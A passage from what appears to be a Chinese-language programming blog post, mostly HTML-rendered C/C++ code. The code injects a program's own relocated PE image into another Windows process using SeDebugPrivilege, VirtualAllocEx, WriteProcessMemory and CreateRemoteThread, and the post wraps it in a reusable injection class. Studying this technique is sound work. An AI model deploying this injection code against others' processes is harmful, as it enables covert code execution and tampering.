class="comment">//将插入点地址作为参数传递给线程函数</span></span><br><span class="line">lpParam = lpInjectPoint; </span><br><span class="line"></span><br><span class="line"><span class="comment">//将重定位好的代码通过WriteProcessMemory写入远程进程的内存空间中</span></span><br><span class="line"><span class="keyword">if</span> (!WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, <span class="literal">NULL</span>))</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"WriteProcessMemory failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//通过CreateRemoteThread启动刚写入的代码，参数为Param</span></span><br><span class="line">hRemoteThread = CreateRemoteThread(hRemoteProcess, <span class="literal">NULL</span>, <span class="number">0</span>, lpRemoteEntryPoint, lpParam, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (hRemoteThread == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"CreateRemoteThread failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// //等待线程执行完成</span></span><br><span class="line"><span class="comment">// WaitForSingleObject(hRemoteThread, INFINITE);</span></span><br><span class="line"><span class="comment">// </span></span><br><span class="line"><span class="comment">// //获取完成返回值</span></span><br><span class="line"><span class="comment">// DWORD dwExitCode;</span></span><br><span class="line"><span class="comment">// if (!GetExitCodeThread(hRemoteThread, &amp;dwExitCode))</span></span><br><span class="line"><span class="comment">// &#123;</span></span><br><span class="line"><span class="comment">// OutputDebugString(_T("GetExitCodeThread failedn"));</span></span><br><span class="line"><span class="comment">// bRet = FALSE;</span></span><br><span class="line"><span class="comment">// __leave;</span></span><br><span class="line"><span class="comment">//&#125;</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">__finally</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (lpNewMoudle != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">VirtualFree(lpNewMoudle, <span class="number">0</span>, MEM_RELEASE);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (hRemoteProcess != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">CloseHandle(hRemoteProcess);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> bRet;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x04-封装成类"><a href="#0x04-封装成类" class="headerlink" title="0x04 封装成类"></a>0x04 封装成类</h1><p>把整个实现封装成了一个类，方便调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> once</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CInjectCode</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">CInjectCode(DWORD (*fn)(HINSTANCE));</span><br><span class="line">~CInjectCode();</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SetRemoteThread_Main</span><span class="params">(DWORD(*fn)(HINSTANCE))</span></span>;</span><br><span class="line"><span class="comment">//注入</span></span><br><span class="line"><span class="function">BOOL <span class="title">Inject</span><span class="params">(DWORD dwProcessID)</span></span>;</span><br><span class="line"><span class="function">BOOL <span class="title">Inject</span><span class="params">(<span class="keyword">const</span> <span class="keyword">wchar_t</span>* wszProcessName)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"><span class="comment">//完成重定位</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">RelocCode</span><span class="params">(LPBYTE lpImage, LPBYTE lpInjectBase)</span></span>;</span><br><span class="line"><span class="comment">//用于完成API函数的导入，参数为要插入代码处地址</span></span><br><span class="line"><span class="function">BOOL <span class="title">LoadAPI</span><span class="params">(LPBYTE lpInjectBase)</span></span>;</span><br><span class="line"><span class="comment">//CreateRemoteThread的线程运行入口</span></span><br><span class="line"><span class="function">DWORD <span class="title">ThreadEntry</span><span class="params">(LPBYTE  lpImageBase)</span></span>;</span><br><span class="line"><span class="comment">//通过进程名获取进程ID</span></span><br><span class="line"><span class="function">BOOL <span class="title">GetProcessIDByName</span><span class="params">(<span class="keyword">const</span> <span class="keyword">wchar_t</span>* wszProcessName, DWORD&amp; dwProcID)</span></span>;</span><br><span class="line"><span class="comment">//提升se_debug权限</span></span><br><span class="line"><span class="function">BOOL <span class="title">AdjustProcessTokenPrivilege</span><span class="params">()</span></span>;</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"><span class="comment">//远程执行的函数指针</span></span><br><span class="line">DWORD(*fnRemoteThread_Main)(HINSTANCE);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdafx.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"InjectCode.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;tchar.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;memory.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;TlHelp32.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">CInjectCode::CInjectCode(DWORD(*fn)(HINSTANCE))</span><br><span class="line">&#123;</span><br><span class="line">SetRemoteThread_Main(fn);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">CInjectCode::~CInjectCode()</span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">CInjectCode::SetRemoteThread_Main</span><span class="params">(DWORD(*fn)(HINSTANCE))</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">fnRemoteThread_Main = fn;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//提升se_debug权限</span></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectCode::AdjustProcessTokenPrivilege</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">LUID luidTmp;</span><br><span class="line">HANDLE hToken;</span><br><span class="line">TOKEN_PRIVILEGES tkp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES | TOKEN_QUERY, &amp;hToken))</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"AdjustProcessTokenPrivilege OpenProcessToken Failed ! n"</span>));</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!LookupPrivilegeValue(<span class="literal">NULL</span>, SE\_DEBUG\_NAME, &amp;luidTmp))</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"AdjustProcessTokenPrivilege LookupPrivilegeValue Failed ! n"</span>));</span><br><span class="line"></span><br><span class="line">CloseHandle(hToken);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">tkp.PrivilegeCount = <span class="number">1</span>;</span><br><span class="line">tkp.Privileges\[<span class="number">0</span>\].Luid = luidTmp;</span><br><span class="line">tkp.Privileges\[<span class="number">0</span>\].Attributes = SE\_PRIVILEGE\_ENABLED;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!AdjustTokenPrivileges(hToken, FALSE, &amp;tkp, <span class="keyword">sizeof</span>(tkp), <span class="literal">NULL</span>, <span class="literal">NULL</span>))</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"AdjustProcessTokenPrivilege AdjustTokenPrivileges Failed ! n"</span>));</span><br><span class="line"></span><br><span class="line">CloseHandle(hToken);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//完成重定位</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">CInjectCode::RelocCode</span><span class="params">(LPBYTE lpImage, LPBYTE lpInjectBase)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD  dwRva = <span class="number">0</span>, dwRvaCount = <span class="number">0</span>, dwRelocOffset = <span class="number">0</span>;</span><br><span class="line">LPWORD  lpwOffset = <span class="literal">NULL</span>;</span><br><span class="line">PIMAGE\_NT\_HEADERS pNtHeader = <span class="literal">NULL</span>;</span><br><span class="line">LPBYTE lpRelocTable;</span><br><span class="line">PIMAGE\_BASE\_RELOCATION  pBaseReloc;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取ntheader</span></span><br><span class="line">pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)-&gt;e_lfanew);</span><br><span class="line"><span class="comment">//获取重定位表位置</span></span><br><span class="line">lpRelocTable = lpImage + pNtHeader-&gt;OptionalHeader.DataDirectory\[<span class="number">5</span>\].VirtualAddress;</span><br><span class="line">pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;</span><br><span class="line"><span class="comment">//获取重定位表偏移</span></span><br><span class="line">dwRelocOffset = (DWORD)lpInjectBase - pNtHeader-&gt;OptionalHeader.ImageBase;</span><br><span class="line"></span><br><span class="line"><span class="comment">//遍历重定位表，修正需要重定位的代码</span></span><br><span class="line"><span class="keyword">while</span> (pBaseReloc-&gt;VirtualAddress != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">lpwOffset = (WORD*)(lpRelocTable + <span class="keyword">sizeof</span>(IMAGE\_BASE\_RELOCATION));</span><br><span class="line">dwRvaCount = (pBaseReloc-&gt;SizeOfBlock - <span class="keyword">sizeof</span>(IMAGE\_BASE\_RELOCATION)) / <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//循环修正</span></span><br><span class="line"><span class="keyword">for</span> (DWORD i = <span class="number">0</span>; i &lt; dwRvaCount; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//获取要修正的RVA</span></span><br><span class="line">dwRva = (DWORD)lpImage + (pBaseReloc-&gt;VirtualAddress) + (DWORD)(*lpwOffset &amp; <span class="number">0x0fff</span>);</span><br><span class="line"><span class="comment">//RVA加上修正量进行修正</span></span><br><span class="line">*(DWORD*)dwRva += dwRelocOffset;</span><br><span class="line">lpwOffset++;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//指向下一页重定位信息处</span></span><br><span class="line">lpRelocTable += pBaseReloc-&gt;SizeOfBlock;</span><br><span class="line">pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//用于完成API函数的导入，参数为要插入代码处地址</span></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectCode::LoadAPI</span><span class="params">(LPBYTE lpInjectBase)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;</span><br><span class="line">PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader-&gt;e_lfanew);</span><br><span class="line">PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)</span><br><span class="line">(lpInjectBase + pNtHeader-&gt;OptionalHeader.DataDirectory\[<span class="number">1</span>\].VirtualAddress);</span><br><span class="line"><span class="keyword">for</span> (; pImportDescriptor-&gt;OriginalFirstThunk != <span class="number">0</span>; pImportDescriptor++)<span class="comment">//遍历导入表</span></span><br><span class="line">&#123;</span><br><span class="line">HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor-&gt;Name));</span><br><span class="line"><span class="comment">//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的</span></span><br><span class="line"><span class="keyword">if</span> (hDll == <span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor-&gt;OriginalFirstThunk);</span><br><span class="line">PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor-&gt;FirstThunk);</span><br><span class="line">LPCSTR Name = <span class="literal">NULL</span>;</span><br><span class="line">PIMAGE\_IMPORT\_BY\_NAME Import\_name = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">for</span> (; Origin-&gt;u1.Ordinal != <span class="number">0</span>; Origin++, First++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (Origin-&gt;u1.Ordinal &amp; IMAGE\_ORDINAL\_FLAG)</span><br><span class="line">Name = (LPCSTR)IMAGE_ORDINAL(Origin-&gt;u1.Ordinal);</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin-&gt;u1.AddressOfData));</span><br><span class="line">Name = (LPCSTR)Import_name-&gt;Name;</span><br><span class="line">&#125;</span><br><span class="line">First-&gt;u1.Function = (DWORD)GetProcAddress(hDll, Name);</span><br><span class="line"><span class="comment">//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的</span></span><br><span class="line"><span class="keyword">if</span> (First-&gt;u1.Function == <span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//CreateRemoteThread的线程运行入口</span></span><br><span class="line"><span class="function">DWORD <span class="title">CInjectCode::ThreadEntry</span><span class="params">(LPBYTE  lpImageBase)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">if</span> (LoadAPI(lpImageBase))<span class="comment">//先完成API函数的导入工作</span></span><br><span class="line">fnRemoteThread\_Main((HINSTANCE)lpImageBase);  <span class="comment">//执行函数RemoteThread\_Main中的代码</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//通过进程名获取进程ID</span></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectCode::GetProcessIDByName</span><span class="params">(<span class="keyword">const</span> <span class="keyword">wchar_t</span>* wszProcessName, DWORD&amp; dwProcID)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">HANDLE hSnapShot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, dwProcID);</span><br><span class="line">PROCESSENTRY32 pe = &#123; <span class="keyword">sizeof</span>(pe) &#125;;</span><br><span class="line">BOOL bOk = ::Process32First(hSnapShot, &amp;pe);</span><br><span class="line"><span class="keyword">while</span> (bOk)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (wcsstr(pe.szExeFile, wszProcessName) != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">dwProcID = pe.th32ProcessID;</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">bOk = ::Process32Next(hSnapShot, &amp;pe);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">::CloseHandle(hSnapShot);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//远程注入</span></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectCode::Inject</span><span class="params">(DWORD dwProcessID)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">LPBYTE lpNewMoudle = <span class="literal">NULL</span>;</span><br><span class="line">HANDLE hRemoteProcess = <span class="literal">NULL</span>;</span><br><span class="line">HANDLE hRemoteThread = <span class="literal">NULL</span>;</span><br><span class="line">BOOL bRet = TRUE;</span><br><span class="line"></span><br><span class="line">__try</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//获取自身句柄</span></span><br><span class="line">LPBYTE lpMoudle = <span class="literal">NULL</span>;</span><br><span class="line">lpMoudle = (LPBYTE)GetModuleHandle(<span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (lpMoudle == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"GetModuleHandle failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取NT_HEADER</span></span><br><span class="line">PIMAGE\_NT\_HEADERS pNtHeader = <span class="literal">NULL</span>;</span><br><span class="line">pNtHeader = (PIMAGE\_NT\_HEADERS)(lpMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)-&gt;e_lfanew);</span><br><span class="line"></span><br><span class="line"><span class="comment">//得到自身映像大小</span></span><br><span class="line">DWORD dwImageSize;</span><br><span class="line">dwImageSize = pNtHeader-&gt;OptionalHeader.SizeOfImage;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在当前空间申请空间存放自身代码</span></span><br><span class="line">lpNewMoudle = (LPBYTE)VirtualAlloc(<span class="literal">NULL</span>, dwImageSize, MEM\_COMMIT | MEM\_RESERVE,</span><br><span class="line">PAGE\_EXECUTE\_READWRITE);</span><br><span class="line"><span class="keyword">if</span> (lpNewMoudle == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"VirtualAlloc failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//拷贝自身到buffer</span></span><br><span class="line">PIMAGE\_NT\_HEADERS pNewNtHeader = <span class="literal">NULL</span>;</span><br><span class="line">memcpy_s(lpNewMoudle, dwImageSize, lpMoudle, dwImageSize);</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取Buffer中NtHeader</span></span><br><span class="line">pNewNtHeader = (PIMAGE\_NT\_HEADERS)(lpNewMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)-&gt;e_lfanew);</span><br><span class="line"></span><br><span class="line"><span class="comment">//提升权限</span></span><br><span class="line"><span class="keyword">if</span> (!AdjustProcessTokenPrivilege())</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"OpenProcess failedn"</span>));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//打开远程进程</span></span><br><span class="line">hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);</span><br><span class="line"><span class="keyword">if</span> (hRemoteProcess == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"OpenProcess failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在远程进程申请空间</span></span><br><span class="line">LPBYTE lpInjectPoint;</span><br><span class="line">lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, <span class="number">0</span>, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);</span><br><span class="line"><span class="keyword">if</span> (lpInjectPoint == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"VirtualAllocEx failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//重定位NewMoudle代码</span></span><br><span class="line">RelocCode(lpNewMoudle, lpInjectPoint);</span><br><span class="line"></span><br><span class="line"><span class="comment">//得到ThreadEntry在远程进程中的地址</span></span><br><span class="line">LPTHREAD\_START\_ROUTINE lpRemoteEntryPoint;</span><br><span class="line">LPBYTE lpParam;</span><br><span class="line">lpRemoteEntryPoint = (LPTHREAD\_START\_ROUTINE)(lpInjectPoint + (DWORD)fnRemoteThread_Main - lpMoudle);</span><br><span class="line"></span><br><span class="line"><span class="comment">//将插入点地址作为参数传递给线程函数</span></span><br><span class="line">lpParam = lpInjectPoint;</span><br><span class="line"></span><br><span class="line"><span class="comment">//将重定位好的代码通过WriteProcessMemory写入远程进程的内存空间中</span></span><br><span class="line"><span class="keyword">if</span> (!WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, <span class="literal">NULL</span>))</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"WriteProcessMemory failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span 